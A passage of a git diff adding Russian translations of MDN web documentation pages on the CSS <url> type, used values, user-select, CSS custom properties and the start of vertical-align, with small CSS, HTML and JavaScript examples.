+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Types">Тип данных</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>&lt;url&gt;</code></strong> обозначает указатели на ресурсы, такие как изображения или шрифты. URL-адреса могут быть использованы в многочисленных свойствах CSS, таких как {{Cssxref("background-image")}}, {{Cssxref("cursor")}} или {{cssxref("list-style")}}.</p>
+
+<div class="note">
+<p><strong>URI или URL?</strong> Существует разница между {{Glossary("URI")}} и {{Glossary("URL")}}. URI просто идентифицирует ресурс. URL является типом URI, и описывает <em>месторасположение</em> ресурса.URI может быть либо URL-адресом, либо именем ресурса ({{Glossary("URN")}}).</p>
+
+<p>В CSS Уровень 1, фунциональная нотация <code>url()</code>описывала только истинные URL-адреса. В CSS Уровень 2, определение <code>url()</code> было расширено для описания любого URI, будь то URL или URN. Неожиданно, что  <code>url()</code> может быть использовано для создания типа данных CSS <code>&lt;uri&gt;</code>. Это изменение было не только неожиданным, но и ненужным, так как URN почти не используется в реальном CSS. Для избежания путанницы, CSS Уровень 3 вернулся к более узкому, первоначальному определению. Сейчас <code>url()</code> означает только истинное значение <code>&lt;url&gt;</code>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;url&gt;</code> является указанием к использованию функциональной нотации <code id="The_url()_functional_notation">url()</code>. Он  может быть задан без кавычек или с использованием одинарных или двойных кавычек. Допускаются относительные URL-адреса, относящиеся к URL-адресу страницы стилей (а не к URL-адресу веб-страницы).</p>
+
+<pre class="syntaxbox">&lt;a_css_property&gt;: url("http://mysite.example.com/mycursor.png")
+&lt;a_css_property&gt;: url('http://mysite.example.com/mycursor.png')
+&lt;a_css_property&gt;: url(http://mysite.example.com/mycursor.png)
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Контрольные символы выше 0x7e не допустимы в URL-адресах без кавычек, начиная с Firefox 15. Смотри {{Bug(752230)}} для более детальной информации.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">.topbanner {
+  background: url("topbanner.png") #00D no-repeat fixed;
+}
+</pre>
+
+<pre class="brush: css">ul {
+  list-style: square url(http://www.example.com/redball.png);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#urls', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#urls', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Нет значительных изменений по сравнению с CSS Уровень 2 (Revision 1).</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Нет значительных изменений по сравнению с CSS Уровень 1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#url', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<div>{{Compat("css.types.url")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/ru/web/css/used_value/index.html b/files/ru/web/css/used_value/index.html
new file mode 100644
index 0000000000..07cc2213ee
--- /dev/null
+++ b/files/ru/web/css/used_value/index.html
@@ -0,0 +1,132 @@
+---
+title: Используемое значение
+slug: Web/CSS/used_value
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/used_value
+---
+<div>{{cssref}}</div>
+
+
+
+<div><strong>Используемое значение </strong>- <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS </a>свойство, которое используется, когда все вычисления уже выполнены, смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/computed_value">вычисленное значение</a>.</div>
+
+<article>
+<p>После того как {{glossary("user agent")}} закончил свои расчеты каждое свойство CSS имеет своё значение. Используемые значения  (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов  (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Змечание</strong>:  {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API возвращает <a href="/ru/docs/">решённое значение</a>, которое может быть <a href="/ru/docs/">вычесленным значением</a> или <a href="/ru/docs/">используемым значением</a>, в зависимости от свойства.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данный пример показывает вычисление и отображение значения <code>width</code> трёх элементов (обновление при изменении размера):</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre><code>&lt;div id="no-width"&gt;
+  &lt;p&gt;No explicit width.&lt;/p&gt;
+  &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+  &lt;div id="width-50"&gt;
+    &lt;p&gt;Explicit width: 50%.&lt;/p&gt;
+    &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+    &lt;div id="width-inherit"&gt;
+      &lt;p&gt;Explicit width: inherit.&lt;/p&gt;
+      &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre><code>#no-width {
+  width: auto;
+}
+
+#width-50 {
+  width: 50%;
+}
+
+#width-inherit {
+  width: inherit;
+}
+
+/* Make results easier to see */
+div {
+  border: 1px solid red;
+  padding: 8px;
+}</code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre><code>function updateUsedWidth(id) {
+  var div = document.querySelector(`#${id}`);
+  var par = div.querySelector('.show-used-width');
+  var wid = window.getComputedStyle(div)["width"];
+  par.textContent = `Used width: ${wid}.`;
+}
+
+function updateAllUsedWidths() {
+  updateUsedWidth("no-width");
+  updateUsedWidth("width-50");
+  updateUsedWidth("width-inherit");
+}
+
+updateAllUsedWidths();
+window.addEventListener('resize', updateAllUsedWidths);</code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', '80%', 372) }}</p>
+
+<h2 id="Difference_from_computed_value">Difference from computed value</h2>
+
+<p>CSS 2.0 defined only <em>computed value</em> as the last step in a property's calculation. Then, CSS 2.1 introduced the distinct definition of used value. An element could then explicitly inherit a width/height of a parent, whose computed value is a percentage. For CSS properties that don't depend on layout (e.g., <code>display</code>, <code>font-size</code>, or <code>line-height</code>), the computed values and used values are the same. The following are the CSS 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from <a href="http://www.w3.org/TR/CSS2/changes.html#q36" title="http://www.w3.org/TR/CSS2/changes.html#q36">CSS 2.1 Changes: Specified, computed, and actual values</a>):</p>
+
+<ul>
+ <li><code>background-position</code></li>
+ <li><code>bottom</code>, <code>left</code>, <code>right</code>, <code>top</code></li>
+ <li><code>height</code>, <code>width</code></li>
+ <li><code>margin-bottom</code>, <code>margin-left</code>, <code>margin-right</code>, <code>margin-top</code></li>
+ <li><code>min-height</code>, <code>min-width</code></li>
+ <li><code>padding-bottom</code>, <code>padding-left</code>, <code>padding-right</code>, <code>padding-top</code></li>
+ <li><code>text-indent</code></li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#used-value", "used value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<header></header>
+</article>
+
+
+
+<article>
+<header></header>
+</article>
+
+<h2 id="Смотреть_так_же">Смотреть так же:</h2>
+
+<ul>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/css/user-select/index.html b/files/ru/web/css/user-select/index.html
new file mode 100644
index 0000000000..09d6ac7cb4
--- /dev/null
+++ b/files/ru/web/css/user-select/index.html
@@ -0,0 +1,143 @@
+---
+title: user-select
+slug: Web/CSS/user-select
+tags:
+  - Верстка
+  - Свойство
+translation_of: Web/CSS/user-select
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/en-US/docs/Web/CSS">CSS</a> <code><strong>user-select</strong></code> определяет может ли пользователь выбрать текст.  Оно не влияет на контент, загруженный как {{Glossary("Chrome", "chrome")}}, за исключением текстовых блоков.</p>
+
+<pre class="brush:css">/* Ключевые слова в значении */
+user-select: none;
+user-select: auto;
+user-select: text;
+user-select: contain;
+user-select: all;
+
+/* Глобальные значения */
+user-select: inherit;
+user-select: initial;
+user-select: unset;
+
+/* Специфичные для Mozilla значения */
+-moz-user-select: none;
+-moz-user-select: text;
+-moz-user-select: all;
+
+/* Специфичные для WebKit значения */
+-webkit-user-select: none;
+-webkit-user-select: text;
+-webkit-user-select: all; /*Не работает Safari; используйте только
+                             "none" или "text", или, в противном случае, оно
+                             будет разрешать ввод в &lt;html&gt; контейнер */
+
+/* Специфичные для Microsoft значения */
+-ms-user-select: none;
+-ms-user-select: text;
+-ms-user-select: element;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Текст элемента и вложенных в него элементов не выбирается. Обратите внимание, что объект {{domxref("Selection")}} может содержать эти элементы.</dd>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>Вычисляемое значение, автоматически определяется следующим образом:</p>
+
+ <ul>
+  <li>Для псевдо-элементов <code>::before</code> и <code>::after</code> вычисляемое значение -  <code>none</code></li>
+  <li>Если элемент  является редактируемым, вычисляемое значение - <code>contain</code></li>
+  <li>Иначе, если вычисляемое значение <code>user-select</code> для родителя этого элемента - <code>all</code>, вычисляемое значение - <code>all</code></li>
+  <li>Иначе, если вычисляемое значение <code>user-select</code> для родителя этого элемента - <code>none</code>, вычисляемое значение - <code>none</code></li>
+  <li>Иначе, вычисляемое значение - <code>text</code></li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>Текст может быть выбран пользователем.</dd>
+ <dt><code>all</code></dt>
+ <dd>В HTML-редакторе, если двойной клик или контекстный клик произошел во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Позволяет начать выбор внутри элемента; однако, выбор будет содержаться внутри границ данного элемента.</dd>
+ <dt><code>element</code>{{non-standard_inline}} (IE-specific alias)</dt>
+ <dd>Аналогичен <code>contain</code>. Поддерживается только в Internet Explorer.</dd>
+</dl>
+
+<div class="note">
+<p id="Formal_syntax"><strong>Примечание:</strong> CSS UI 4 <a href="https://github.com/w3c/csswg-drafts/commit/3f1d9db96fad8d9fc787d3ed66e2d5ad8cfadd05">renames user-select: element to contain</a>.</p>
+</div>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;You should be able to select this text.&lt;/p&gt;
+&lt;p class="unselectable"&gt;Hey, you can't select this text!&lt;/p&gt;
+&lt;p class="all"&gt;Clicking once will select all of this text.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.unselectable {
+  -moz-user-select: none;
+  -webkit-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+}
+
+.all {
+  -moz-user-select: all;
+  -webkit-user-select: all;
+  -ms-user-select: all;
+  user-select: all;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 UI', '#propdef-user-select', 'user-select')}}</td>
+   <td>{{Spec2('CSS4 UI')}}</td>
+   <td>Первое определение. Также определение <code>-webkit-user-select</code> как устаревшего псевдонима <code>user-select</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.user-select")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("::selection")}}</li>
+ <li>Объект JavaScript {{domxref("Selection")}}.</li>
+ <li><a href="http://www.w3.org/TR/css-ui-4/#propdef-user-select">user-select</a> in <a href="http://www.w3.org/TR/css-ui-4/">CSS Basic User Interface Module Level 4</a>.</li>
+</ul>
diff --git a/files/ru/web/css/using_css_custom_properties/index.html b/files/ru/web/css/using_css_custom_properties/index.html
new file mode 100644
index 0000000000..db7a1674bd
--- /dev/null
+++ b/files/ru/web/css/using_css_custom_properties/index.html
@@ -0,0 +1,281 @@
+---
+title: Использование переменных в CSS
+slug: Web/CSS/Using_CSS_custom_properties
+tags:
+  - CSS
+  - CSS переменные
+  - Web
+  - Руководства
+translation_of: Web/CSS/Using_CSS_custom_properties
+---
+<div>{{SeeCompatTable}}</div>
+
+<div> </div>
+
+<p><strong>CSS переменные</strong> (<strong>пользовательские CSS-свойства</strong>) это сущности, определяемые автором CSS, хранящие конкретные значения, которые можно повторно использовать в документе. <span id="result_box" lang="ru"><span>Они устанавливаются с использованием custom property нотации </span></span>(<span class="short_text" id="result_box" lang="ru"><span>например.</span></span> <strong><code>--main-color: black;</code></strong>) и доступны через функцию <a href="/en-US/docs/Web/CSS/var">var()</a> (<span class="short_text" id="result_box" lang="ru"><span>например.</span></span> <code>color: <strong>var(--main-color)</strong>;</code>) .</p>
+
+<p>Сложные веб-сайты имеют очень большое количество CSS, часто с множеством повторяющихся значений. Например, один и тот же цвет может использоваться в сотнях разных мест, что требует глобального поиска и замены, если этот цвет необходимо изменить. CSS переменные позволяют сохранять значение в одном месте, а затем многократно использовать его в любом другом месте. Дополнительным преимуществом являются семантические идентификаторы. Для примера: запись <code>--main-text-color</code> более понятна, чем <code>#00ff00</code>, особенно если этот же цвет используется и в другом контексте.</p>
+
+<p>CSS переменные подчиняются каскаду и наследуют значения от своих родителей.</p>
+
+<h2 id="Основное_использование">Основное использование</h2>
+
+<p>Объявление переменной:</p>
+
+<pre class="brush:css; highlight:[2]  language-css">element {
+  --main-bg-color: brown;
+}
+</pre>
+
+<p>Использование переменной:</p>
+
+<pre class="brush:css; highlight:[2]  language-css">element {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> В более ранней спецификации префикс для переменных был <code>var-</code> , но позже был изменен на <code>--</code>. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})</p>
+</div>
+
+<h2 id="Первый_шаг_с_CSS_Переменными">Первый шаг с CSS Переменными</h2>
+
+<p>Начнем с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:</p>
+
+<div id="sample1">
+<pre class="brush:css; highlight:[3,20,26,32]">.one {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.two {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.three {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 75px;
+}
+.four {
+  color: white;
+  background-color: brown;
+  margin: 10px;
+  width: 100px;
+}
+
+.five {
+  background-color: brown;
+}
+
+</pre>
+
+<p>Мы применим его к этому HTML:</p>
+
+<pre class="brush:html">&lt;div&gt;
+    &lt;div class="one"&gt;&lt;/div&gt;
+    &lt;div class="two"&gt;Text &lt;span class="five"&gt;- more text&lt;/span&gt;&lt;/div&gt;
+    &lt;input class="three"&gt;
+    &lt;textarea class="four"&gt;Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+
+<p>что приводит нас к этому:</p>
+
+<p>{{EmbedLiveSample("sample1",600,180)}}</p>
+
+<p><br>
+ Обратите внимание на повторения в CSS. Коричневый фон установлен в нескольких местах. Для некоторых CSS объявлений можно указать этот цвет выше в каскаде и наследование CSS решит эту проблему. Но для нетривиальных проектов это не всегда возможно. Объявив переменную в псевдо-классе :root, автор CSS может избежать ненужных повторений, используя эту переменную.</p>
+</div>
+
+<div id="sample2">
+<pre class="brush:css; highlight:[2, 7, 24,30,36]">:root {
+  --main-bg-color: brown;
+}
+
+.one {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 50px;
+  height: 50px;
+  display: inline-block;
+}
+
+.two {
+  color: white;
+  background-color: black;
+  margin: 10px;
+  width: 150px;
+  height: 70px;
+  display: inline-block;
+}
+.three {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 75px;
+}
+.four {
+  color: white;
+  background-color: var(--main-bg-color);
+  margin: 10px;
+  width: 100px;
+}
+
+.five {
+  background-color: var(--main-bg-color);
+}
+
+</pre>
+
+<div style="display: none;">
+<pre class="brush:html">&lt;div&gt;
+    &lt;div class="one"&gt;&lt;/div&gt;
+    &lt;div class="two"&gt;Text &lt;span class="five"&gt;- more text&lt;/span&gt;&lt;/div&gt;
+    &lt;input class="three"&gt;
+    &lt;textarea class="four"&gt;Lorem Ipsum&lt;/textarea&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>Это приводит к тому же результату, что и предыдущий пример, но позволяет <span class="short_text" id="result_box" lang="ru"><span class="alt-edited">объявить желаемое свойство только один раз</span></span>.</p>
+
+<h2 id="Наследование_переменных_в_CSS_и_возвращаемые_значения">Наследование переменных в CSS и возвращаемые значения</h2>
+
+<p>Пользовательские свойства могут наследоваться. Это означает, что если не установлено никакого значения для пользовательского свойства на данном элементе, то используется свойство его родителя:</p>
+
+<pre class="brush: html">&lt;div class="one"&gt;
+  &lt;div class="two"&gt;
+    &lt;div class="three"&gt;&lt;/div&gt;
+    &lt;div class="four"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>со следующим CSS:</p>
+
+<pre class="brush: css">.two {
+  --test: 10px;
+}
+
+.three {
+  --test: 2em;
+}
+</pre>
+
+<p>В результате <code>var(--test) будет:</code></p>
+
+<ul>
+ <li>для элемента с классом <code>class="two"</code>: <code>10px</code></li>
+ <li>для элемента с классом <code>class="three"</code>: <code>2em</code></li>
+ <li>для элемента с классом <code>class="four"</code>: <code>10px</code> (унаследовано от родителя)</li>
+ <li>для элемента с классом <code>class="one"</code>: <em>недопустимое значение</em>, что является значением по умолчанию для любого пользовательского свойства.</li>
+</ul>
+
+<p>Используя <a href="/en-US/docs/Web/CSS/var">var()</a> вы можете объявить множество <strong>возвращаемых значений</strong> когда данная переменная не определена, это может быть полезно при работе с Custom Elements и Shadow DOM.</p>
+
+<p>Первый аргумент функции это имя <a href="https://www.w3.org/TR/css-variables/#custom-property">пользовательского свойства</a>. Второй аргумент функции, если имеется, это возвращаемое значение, который используется в качестве замещающего значения, когда <a href="https://www.w3.org/TR/css-variables/#custom-property">пользовательское свойство</a> является не действительным. Например:</p>
+
+<pre><code>.two {
+  color: var(--my-var, red); /* red если --my-var не определена */
+}
+
+.three {
+  background-color: var(--my-var, var(--my-background, pink)); /* pink если --my-var и --my-background не определены */
+}
+
+.three {
+  background-color: var(--my-var, --my-background, pink); /* "--my-background, pink" будет воспринят как значение в случае, если --my-var не определена */
+}</code></pre>
+
+<div class="note">
+<p>В замещаемых значениях можно использовать запятые по аналогии с <a href="https://www.w3.org/TR/css-variables/#custom-property">пользовательскими свойствами</a>. Например, var(--foo, red, blue) опеределит red, blue как замещающее значение (от первой запятой и до конца определения функции)</p>
+</div>
+
+<div class="note">
+<p>Данный метод также вызывает проблемы с производительностью. Он отображает страницу медленнее чем обычно, т.к. требует время на разбор.</p>
+</div>
+
+<h2 id="Обоснованность_и_полезность">Обоснованность и полезность</h2>
+
+<p>Понятие классической концепции CSS, связанность с каждым свойством, не очень удобно в плане пользовательских свойств. Когда значения пользовательских свойств обрабатываются, браузер не знает где они будут применяться, поэтому нужно учитывать почти все допустимые значения.</p>
+
+<p>К сожалению, эти значения могут использоваться через функциональную запись <code>var()</code> , в контексте где они, возможно, не имеют смысла. Свойства и пользовательские переменные могут привести к невалидным выражениям CSS, что приводит к новой концепции <em>валидности во время исполнения.</em></p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    33.0<br>
+    {{CompatNo}} 34.0<sup>[2]</sup><br>
+    {{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29")}}<sup>[3]</sup><br>
+    {{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(36.0)}}</td>
+   <td>9.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9.1</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome initially implemented this feature using a different syntax, which required to prefix custom property names with <code>-webkit-var-</code> to define them. They could then be used unprefixed within a <code>-webkit-var()</code> function. Additionally, the implementation was hidden behind the <em>Enable experimental WebKit features</em> flag under <code>chrome://flags</code>, later renamed to <em>Enable experimental Web Platform features</em>.</p>
+
+<p>[2] В Chrome 34.0 убрали эту функцию из-за проблем с производительностью.</p>
+
+<p>[3] This feature is implemented behind the preference <code>layout.css.variables.enabled</code>, defaulting to <code>false</code> and using the old <code>var-<var>variablename</var></code> syntax in Gecko 29. Starting from Gecko 31 the preference is enabled by default and the new <code>--<var>variablename</var></code> syntax is used.</p>
diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html
new file mode 100644
index 0000000000..c7e311b39a
--- /dev/null
+++ b/files/ru/web/css/vertical-align/index.html
@@ -0,0 +1,243 @@
+---
+title: vertical-align
+slug: Web/CSS/vertical-align
+translation_of: Web/CSS/vertical-align
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a>  <code>vertical-align</code> описывает вертикальное позиционирование строчных элементов (inline) или ячеек таблицы (table-cell).</p>
+
+<pre class="brush: css no-line-numbers">/* ключевые значения */
+vertical-align: baseline;
+vertical-align: sub;
+vertical-align: super;
+vertical-align: text-top;
+vertical-align: text-bottom;
+vertical-align: middle;
+vertical-align: top;
+vertical-align: bottom;
+
+/* значения длины (&lt;length&gt;) */
+vertical-align: 10em;
+vertical-align: 4px;
+
+/* процентные значения (&lt;percentage&gt;) */
+vertical-align: 20%;
+
+/* глобальные значения */
+vertical-align: inherit;
+vertical-align: initial;
+vertical-align: unset;
+</pre>
+
+<p>Свойство <code> vertical-align</code> может использоваться в двух контекстах:</p>
+
+<ul>
+ <li>Для вертикального позиционирования области строчного элемента внутри области содержащей его строки. Например, с помощью него можно вертикально позиционировать {{HTMLElement("img")}} в строке текста:</li>
+</ul>
+
+<div id="vertical-align-inline">
+<pre class="hidden brush: html">&lt;p&gt;
+top:&lt;img style="vertical-align:top" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+middle:&lt;img style="vertical-align:middle" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+bottom:&lt;img style="vertical-align:bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+super:&lt;img style="vertical-align:super" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+sub:&lt;img style="vertical-align:sub" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+&lt;/p&gt;
+&lt;p&gt;
+text-top:&lt;img style="vertical-align:text-top" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+text-bottom:&lt;img  style="vertical-align:text-bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+0.2em:&lt;img style="vertical-align:0.2em" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+-1em:&lt;img  style="vertical-align:-1em" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+20%:&lt;img style="vertical-align:20%" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+-100%:&lt;img  style="vertical-align:-100%" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+&lt;/p&gt;
+
+</pre>
+
+<pre class="hidden brush: css">#* {
+  box-sizing: border-box;
+}
+
+img {
+  margin-right: 0.5em;
+}
+
+p {
+  height: 3em;
+  padding: 0 .5em;
+  font-family: monospace;
+  text-decoration: underline overline;
+  margin-left: auto;
+  margin-right: auto;
+  width: 80%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("vertical-align-inline", 1200, 120, "", "", "example-outcome-frame")}}</p>
+
+<ul>
+ <li>Для вертикального позиционирования содержимого ячейки таблицы:</li>
+</ul>
+
+<div id="vertical-align-table">
+<pre class="hidden brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td style="vertical-align: baseline"&gt;baseline&lt;/td&gt;
+    &lt;td style="vertical-align: top"&gt;top&lt;/td&gt;
+    &lt;td style="vertical-align: middle"&gt;middle&lt;/td&gt;
+    &lt;td style="vertical-align: bottom"&gt;bottom&lt;/td&gt;
+    &lt;td&gt;
+      &lt;p&gt;Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо нее появится нечто еще более причудливое и необъяснимое.&lt;/p&gt;
+&lt;p&gt;Существует и другая теория, согласно которой это уже случилось.&lt;/p&gt;</pre>
+
+<pre class="hidden brush: css">table {
+  margin-left: auto;
+  margin-right: auto;
+  width: 80%;
+}
+
+table, th, td {
+  border: 1px solid black;
+}
+
+td {
+  padding: 0.5em;
+  font-family: monospace;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("vertical-align-table", 1200, 210, "", "", "example-outcome-frame")}}</p>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> свойство vertical-align применяется только к строчным элементам и элементам ячеек таблицы: его нельзя использовать для вертикального позиционирования <a href="/ru/docs/Web/HTML/Block-level_elements">блочных элементов</a>.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>vertical-align</code> задается одним из ключевых значений, указанных ниже.</p>
+
+<h3 id="Значения_для_строчных_элементов">Значения для строчных элементов</h3>
+
+<h4 id="Значения_относительно_родительского_элемента">Значения относительно родительского элемента</h4>
+
+<p>Данные значения позиционируют элемент по вертикали относительно родительского элемента:</p>
+
+<dl>
+ <dt><code>baseline</code></dt>
+ <dd>Выравнивает базовую линию элемента с базовой линией родительского элемента. Базовая линия некоторых <a href="/ru/docs/CSS/Replaced_element">замещаемых элементов</a>, таких как {{HTMLElement("textarea")}}, не описана в спецификации HTML, что означает, что их поведение при указании данного ключевого слова может отличаться в зависимости от браузера.</dd>
+ <dt><code>sub</code></dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Выравнивает</span> <span class="hps">базовую линию</span> <span class="hps">элемента с</span> <span class="alt-edited hps">базовой линией подстрочного индекса </span><span class="alt-edited hps">своего</span> <span class="hps">родителя.</span></span></dd>
+ <dt><code>super</code></dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Выравнивает</span> <span class="hps">базовую линию</span> <span class="hps">элемента с</span> базовой линией <span class="alt-edited hps">надстрочного индекса </span><span class="alt-edited hps">своего</span> <span class="hps">родителя</span></span>.</dd>
+ <dt><code>text-top</code></dt>
+ <dd>Выравнивает верхний край элемента с верхним краем шрифта родительского элемента.</dd>
+ <dt><code>text-bottom</code></dt>
